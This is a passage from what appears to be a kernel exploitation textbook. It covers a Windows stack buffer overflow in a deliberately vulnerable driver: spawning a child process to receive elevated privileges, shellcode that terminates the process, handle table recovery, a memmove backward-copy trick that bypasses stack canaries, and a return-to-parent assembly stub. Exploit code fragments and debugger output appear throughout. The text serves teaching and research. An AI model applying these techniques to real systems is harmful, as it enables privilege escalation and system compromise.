Let's briefly discuss how this approach can affect the user-land environment and the kernel shellcode, starting with the user-land environment. We have to consider that after the overflow has been triggered, the shellcode will kill the process without any chance to return to user land. For this reason, we will need to create a new process (e.g., a cmd.exe process) and track down its PID. We must take into account that we will need this PID later, when we'll be executing the kernel-mode shellcode. The PID can be grabbed at process creation time. When the CreateProcess() API is executed, the kernel stores the actual PID within the output parameter PROCESS_INFORMATION (in the dwProcessId field), as shown in the following code snippet:

static BOOL CreateChild(PTCHAR Child)

{

PROCESS_INFORMATION pi;

STARTUPINFO si;

ZeroMemory( &si, sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( &pi, sizeof(pi) ); [1]

if (!CreateProcess(Child, Child, NULL, NULL, 0,

CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) [2]

return FALSE;

cmdProcessId = pi.dwProcessId; [3]

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

return TRUE;

}

This function is straightforward. It initializes the STARTUPINFO and PROCESS_INFORMATION structures [1], executes the new process [2], and saves the PID of the new spawned process in the cmdProcessId global variable [3]. The environment is now set up properly.

We'll need to slightly modify the shellcode we presented in the section “The Execution Step,” in two different places. First, we need to locate the EPROCESS structure of the target child process. We can do this using the PsLookupProcessByProcessId() kernel API, passing the child PID as the first argument. The remainder of the shellcode core is the same as the original; it simply operates on the child kernel structures instead of the current process.

The second modification is related to the shellcode return. As stated before, the shellcode cannot return to the caller, but instead has to kill the current process because there is no longer a valid frame. To kill a process in kernel land, we can use the ZwTerminateProcess() kernel system call. The following snippet shows the API prototype:

NTSTATUS ZwTerminateProcess(

__in_opt HANDLE ProcessHandle,

__in NTSTATUS ExitStatus

);

We can pass the value 0xFFFFFFFF as the first parameter and an arbitrary exit status as the second parameter. The value 0xFFFFFFFF (-1) is a special HANDLE value that means “the current process.” This function cleans up any acquired kernel resources and frees the kernel structures allocated for the current process. The kernel will finally kill the current process, removing every related resource and scheduling a new one to run.

The Recovery: Fix the Object Table

The recovery step is mandatory on most kernel exploits. Every vulnerability and every exploitation vector has different requirements that force the exploit to fix resources during the post-exploitation phase. Recovery steps are so various that it is impossible to summarize them all. A few steps are tied to the data corruption, and others are linked to the unexpected operations that our payload can set off. What we can do here is try to help you better understand the direct consequences that an unexpected kernel operation made by our payload can set off. As we've seen, ZwTerminateProcess(), a function whose primary purpose includes freeing process-owned resources, can be used to terminate the current process to avoid having it return to the corrupted caller frame. One of the many resources available is the object table. The object table (also called the handle table) is a table that contains the opened process handles. This table contains any file, any device, and any other type of object handle that the process has opened (and never closed) during its lifetime. It tries to close them one by one before freeing the related structure. But what happens if one of these handles is already in use by a given kernel control path? The function simply puts the process to sleep, waiting for the resource to be released. And what happens if the object is in use by the same kernel control path issuing the ZwTerminateProcess() API? As one might expect, something bad happens: a process deadlock! This is exactly what happens when we invoke this API in our example. For some insight as to why it happens, let's take a look at the stack backtrace of this function:

f66e4204 80833491 nt!KiSwapContext+0x26

f66e4230 80829a82 nt!KiSwapThread+0x2e5

f66e4278 808f373e nt!KeWaitForSingleObject+0x346 [5]

f66e42a0 808f9662 nt!IopAcquireFileObjectLock+0x3e

f66e42e0 80934bb0 nt!IopCloseFile+0x1de

f66e4310 809344b1 nt!ObpDecrementHandleCount+0xcc

f66e4338 8093b08f nt!ObpCloseHandleTableEntry+0x131 [4]

f66e4354 80989fc6 nt!ObpCloseHandleProcedure+0x1d

f66e4370 8093b28e nt!ExSweepHandleTable+0x28 [3]

f66e4398 8094c461 nt!ObKillProcess+0x66

f66e4420 8094c643 nt!PspExitThread+0x563

f66e4438 8094c83d nt!PspTerminateThreadByPointer+0x4b

f66e4468 808897cc nt!NtTerminateProcess+0x125

f66e4468 8082fadd nt!KiFastCallEntry+0xfc [2]

f66e44e8 00411f54 nt!ZwTerminateProcess+0x11

f66e460c 8088edae 0x411f54 [1]

Again, since this is a stack trace, it makes sense to read it in reverse order. At [1], the shellcode (which is located in user land but which executes in kernel mode) calls ZwTerminateProcess(). At [2], the kernel path invokes the core function NtTerminateProcess(), which terminates the main thread and tries to free all of the process resources. At [3], the ExSweepHandleTable() function tries to free every object within the process object table; this function scans the table to find and close every opened handle, after first invoking the ExpLookupHandleTable() function internally to obtain the table. Subsequently, the ExSweepHandleTable() function takes every handle within the table, looks for the corresponding object, and tries to free it [4]. When the procedure passes over the device driver handle (the one referenced by the same path when the DeviceIoControl() system call was originally called), it realizes that the handle is in use and puts the process to sleep waiting for its release, [5], at which point the process simply hangs and can no longer be killed. Although this behavior doesn't interfere with the exploitation itself, it is never a good idea to leave a dead and unkillable process alive on a system.

We have a few options here to avoid this kind of problem. We can, for example, decrement the object's usage counter, thus tricking the kernel into believing that the object is not used; alternatively, we can directly remove the handle from the table. Both methods are valid solutions. For the sake of brevity, we will provide a brief description of only the latter method.

The object table is referenced by the ObjectTable EPROCESS field (which is located, for example, at offset 0xD4 within the EPROCESS structure on the latest version of Windows Server 2003 32-bit SP2). The first field of this structure (named TableCode) can address either the real table or an indirect pointer-to-tables map. Since every real table can host up to 512 handles, if the process has opened fewer than 512 handles the TableCode directly addresses the table. If the process has more than 512 opened handles, the TableCode addresses an indirect table which, in turn, hosts all of the pointers to the real tables (e.g., the first pointer addresses the 0-511 handle table, the second pointer addresses the 512-1023 handle table, etc.).

We can detect the TableCode type by looking at its least significant bit. If this bit value is one, the table is addressing a pointer-to-tables map; if it is zero, it is addressing a real table. Of course, in both cases the least significant bit will have to be zeroed before we dereference it, since the pointer is always page-aligned and the last bit is used only as a flag. It is now time for a small optimization. Since we are controlling the exploit process, we can force it to have fewer than 512 open handles, and thus the shellcode can assume that the TableCode directly addresses the real table. The last thing we will need to determine is the size of a single table entry. A table entry within the real table is of type HANDLE_TABLE_ENTRY and has the following layout:

typedef struct _HANDLE_TABLE_ENTRY

{

union

{

PVOID Object;

ULONG ObAttributes;

PHANDLE_TABLE_ENTRY_INFO InfoTable;

ULONG Value;

};

union

{

ULONG GrantedAccess;

struct

{

WORD GrantedAccessIndex;

WORD CreatorBackTraceIndex;

};

LONG NextFreeTableEntry;

};

} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

Every table entry is eight bytes wide. Moreover, any in-use entry holds the address of the related kernel object in the former double-word (the first four bytes) and the access mask in the latter double-word (the second four bytes). When the entry is not used, the former double-word is zeroed and the latter double-word holds the NextFreeTableEntry index. Here we need to obtain the index of the offending handle (i.e., the one used to open the DVWD device) and nullify the first double-word entry. When we do this, the code in the ExSweepHandleTable() function passes through the entry without making any attempts to actually free the resource. The reference to the device object is lost forever, but the process can now exit gracefully. You can find the full code of the RecoveryHandle32() function in the Trigger32.c file. This code is called by shellcode before terminating the current process (before calling the ZwTerminateProcess() API).

RtlCopyMemory() Implementation

The following is a snippet of the TriggerOverflow() function while the RtlCopyMemory() function is executed:

[ … ]

mov r8, rsi ; size_t

mov rdx, r12 ; void *

lea rcx, [rsp+88h+var_68] ; void *

call memcpy ; call the memcpy() function

[ … ]

Since we are dealing with an x64 program, the calling convention states that the argument must be passed via registers. In the preceding snippet, the TriggerOverflow() function passes the size via the R8 register, the source buffer via the EDX register, and the stack-destination address via the RCX register. Finally, it calls the memcpy() function (which is the binary implementation of the RtlCopyMemory() function).

Taking a look at the exported kernel functions, we can see that RtlCopyMemory(), along with RtlMoveMemory() and memcpy(), is actually implemented as a memmove() function. The memmove() function during the copy has to manage possible overlapping segments, and thus it is implemented using a copy-backward approach. Figure 6.8 shows a simple schema of the memmove() implementation.

The following is the beginning of the memmove() kernel function:

dvwd!memcpy():

fffff880`05ac0200 4c8bd9 mov r11,rcx

fffff880`05ac0203 482bd1 sub rdx,rcx [1]

fffff880`05ac0206 0f829e010000 jb fffff88005ac03aa [2]

[ … ]

fffff880`05ac03aa 4903c8 add rcx,r8 [3]

fffff880`05ac03ad 4983f808 cmp r8,8

fffff880`05ac03b1 7261 jb fffff88005ac0414

fffff880`05ac03b3 f6c107 test cl,7

fffff880`05ac03b6 7436 je fffff88005ac03ee [4]

[ … ]

fffff880`05ac0400 4883e908 sub rcx,8 [5]

fffff880`05ac0404 488b040a mov rax,qword ptr [rdx+rcx] [6]

fffff880`05ac0408 49ffc9 dec r9

fffff880`05ac040b 488901 mov qword ptr [rcx],rax [7]

[ … ]

The first action that the function performs, at [1], regards the source/destination buffer address comparison—more precisely, it subtracts the destination buffer address from the source. If the destination buffer address is higher than the source buffer address, the result will be negative. Since, in the vulnerable function, we will be copying from user land (source buffer) to kernel land (destination buffer), the result of the subtraction will always be negative and the branch at [2] will always be taken. Since, in respect to the destination buffer, the source buffer is located at a lower address, memmove() implements a backward copy to preserve a possible overlapping buffer. In this case, of course, no overlap takes place, since the two buffers are located in different addresses, but the function simply doesn't care about it and checks only for the worst case scenario. Since the function is performing a backward copy, it adds the buffer size and the source buffer pointer at [3]. After managing the copying of any unaligned trailing bytes, it then jumps into the main copy cycle at [4]. At [5], the function starts to lower the destination buffer address stored in RCX. Next, at [6], it copies eight bytes of data at a time into the RAX register, and at [7], it stores the data back in the destination buffer. Since the RCX register is used to calculate both the source buffer and the destination buffer (exploiting the subtraction made at [1]), the function needs only to decrement that register while performing the copy.

Straight Copy versus Indexed Copy

Taking into account the RtlCopyMemory() issue and the ability to interrupt the user-to-kernel copy within a __try/__except block using an invalid user-land mapping, we can easily transform a straightforward plain memcpy()-style overflow into a controlled index-based buffer overflow. We saw in the “Stack Buffer Overflow” section that we can easily turn an index-based overflow into a successful exploitation, thereby bypassing canary protection.

Here, similar to the 32-bit case, we will need to play a bit with the invalid mapping. This time only the “end” of the buffer must be present in the mapped anonymous area. The remainder of the buffer must be virtually located in the previously unmapped area. Since the copy starts from the end of the buffer, if we can control the buffer's final size we will be able to induce an arbitrary controlled index-based overwrite; in so doing, we can overwrite just the return address, leaving any other memory location untouched. Figure 6.9 shows how we must set up the buffer to bypass the canary protection scheme.

Recovery: Return to Parent Frame

Since in this scenario we can totally control the copy, and since we are able to overwrite just the return address without trashing parent frames, we can adopt a new, simpler strategy to recover the original control flow after executing our custom shellcode payload. We can simply add an assembly stub that will be executed before the original payload. This assembly stub invokes the C payload and regains control when the payload has been executed; after that, the stub jumps (using an absolute JMP assembly instruction) into the TriggerOverflow() parent function. Of course, the stub must be initialized before the exploitation takes place.

The exploit code makes use of a similar technique, which we used previously, to relocate the Kernel Executive symbols. First, it has to load the driver into user-land memory, and later, using a pattern matching signature, it needs to locate the offset where the parent function is located. Finally, using the driver load base address information, it can dynamically relocate the absolute address of the parent frame function and properly set up the stub. The following code snippet shows a live WinDbg session we can use to simulate the aforementioned procedure:

1: kd> bp TriggerOverflow

1: kd> g

Breakpoint 0 hit

ioctlsample!TriggerOverflow:

fffff880`05ac416c 48895c2418 mov qword ptr [rsp+18h],rbx

1: kd> ? poi(rsp)

Evaluate expression: -8246242033348 = fffff880`05ac413c

1: kd> u poi(rsp)-5 L2

fffff880`05ac4137 e830000000 call dvwd!TriggerOverflow (fffff880`05ac416c)

fffff880`05ac413c 8bd8 mov ebx,eax

In the preceding code, we set up a breakpoint to the vulnerable function. When the breakpoint gets hit, the return address has been already pushed into the stack. Using the poi command, which prints the pointer-sized data from the specified address, we can individuate the correct return address. The following command shows the parent function body near where it calls the vulnerable function. The stub must be set up in order to return to the FFFFF88005AC413C address, which is handled by the instruction following the function call. Since the return address was already popped up during the call of our payload, the stub has only to execute a simple absolute jump (JMP instruction) to that address. Of course, since we cannot debug the target box, we have to build the return address using the ZwQuerySystemInformation() API to get the actual base address of the driver. After we have the base address, we can just relocate the RVA to compute the final address. The final stub will look like this:

CALL ShellcodePrivilegesAdd

MOV R11, fffff88005ac413c

JMP [R11]